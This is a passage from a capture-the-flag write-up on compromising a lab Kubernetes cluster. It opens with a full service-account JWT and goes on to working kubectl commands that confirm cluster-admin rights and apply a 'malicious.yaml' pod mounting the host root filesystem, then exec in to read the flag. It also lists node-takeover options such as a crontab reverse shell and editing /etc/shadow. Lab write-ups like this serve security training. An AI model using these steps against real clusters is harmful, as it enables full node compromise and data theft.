eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjk3NzE5MDcwLCJpYXQiOjE2NjYxODMwNzAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsInBvZCI6eyJuYW1lIjoianVtcGJveC1hZG1pbi03ZDU2ZDRiNjdkLXRjcHQ2IiwidWlkIjoiYjdhNjliYTAtOTJiZC00OTEzLWEwODctM2EwYjExMWQ1NzgyIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJhZG1pbiIsInVpZCI6ImY5MTI1N2ZjLWJmMjQtNGJiYS04OTZkLWZlYjdkOWM2NzU1MiJ9LCJ3YXJuYWZ0ZXIiOjE2NjYxODY2Nzd9LCJuYmYiOjE2NjYxODMwNzAsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTphZG1pbiJ9.feQYUKPtWdEbr7rzeML79srMQ6JvyHxccujk0OLCBnRUXBDOBnkiicbdhHh-hor4E8IlcDO-ZwiGwEGUuEKGGz9O3LREBGTuKYCqiws4heSMInwKBkAO55ruCVKgfYtCjzGIVjMY-ySIxKLOIzH8GartJaC0u2wjwb8gLJXiOhr0VgOjlvYHx65n28OtZtwREx4srcAS2cBg1BI-IuXN6tfh0d7ffLNUMfcKcMKp2Kw3OXR39K2IObwT53lS9rWkUcW8iet5EMgaTWMQmGtG2uykU2Z19M0yZn6W5GmhHvAtM7B1SxxqOuGykMW15SUwzASutLY5b-id4XTTQKNmWA

Checking the privileges for the admin service account

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat admin_token ` auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

It turns out this service account has the privilege of a cluster admin and can do anything on this kubernetes cluster. This means we can read secrets, delete deployments, pods and create new ones if we want. We have fully compromised the cluster.

Compromising the master node

With the cluster admin privileges, we can create a malicious pod and mount the host filesystem on it. Then after that we have many ways using which we can get control of the node. Things we can do to get access to the nodes ares:

  1. Write SSH keys on the authorized_keys file and SSH into the node
  2. Create a pod with privileged capabilities and break out of the container to the node
  3. Edit /etc/crontab with the reverse shell payload
  4. Change the content of /etc/shadow

The possibilites are limitless on what we can do after we mount the root filesystem inside the container and use kubectl to get a shell inside that container.

Creating a new pods

Since the worker node is not connected to the internet, we have to use a image that is already present on the machine as docker caches the image so that when they are needed again, the docker daemon does not fetch them from the internet and uses them from its own cache.

Checking the image for the pod jumpbox

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat admin_token ` get pods jumpbox-6c7549477c-dht4f -o yaml | grep image
    image: shell:latest
    imagePullPolicy: IfNotPresent
    image: shell:latest
    imageID: docker://sha256:dc53d54c0124bcd1f2cc744cd7f8bd8d142cd68d57c7987fdc3bfc55594ff05b

Since this pod is already running on the machine, let us hope that the image is present on the node. Now all we have to do is create a new pod with the image shell:latest.

Manifest for the new pod

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ cat malicious.yaml
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: default
spec:
  volumes:
  - name: host-fs
    hostPath:
      path: /
  containers:
  - image: shell:latest
    imagePullPolicy: IfNotPresent
    name: attacker-pod
    volumeMounts:
      - name: host-fs
        mountPath: /root
  1. We are creating a pod on default namespace called attacker-pod.
  2. We are mounting the root filesystem(/) of the host inside the pod in the /root mountpoint.
  3. imagePullPolicy is set as IfNotPresent which will only pull image from the dockerhub if it is not found locally. It is to make sure it uses the image that is already present on the machine.

Creating a new pod

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat admin_token ` apply -f malicious.yaml                                           130 ⨯
pod/attacker-pod created

It is successfully created. Now let us check if the pod is on running state or not.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat admin_token ` get pods
NAME                       READY   STATUS    RESTARTS       AGE
attacker-pod               1/1     Running   0              8s
jumpbox-6c7549477c-dht4f   1/1     Running   1 (226d ago)   228d

BINGO!!! The pod is on running state. Since we are the cluster admin, we can exec inside the pod and read all the content of the worker node.

Reading flag.txt

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat admin_token ` exec -ti attacker-pod -- sh
/ # ls -la /root/root/
total 20
drwxr-xr-x    3 root     root          4096 Oct 19 14:42 .
drwxr-xr-x    1 root     root          4096 Oct 19 13:38 ..
-rw-------    1 root     root            83 Mar  6  2022 .bash_history
drwxr-x---    3 root     root          4096 Mar  2  2022 .kube
-rw-r--r--    1 root     root            38 Mar  6  2022 flag.txt

/ # cat /root/root/flag.txt
flag{0b92*************a7b3}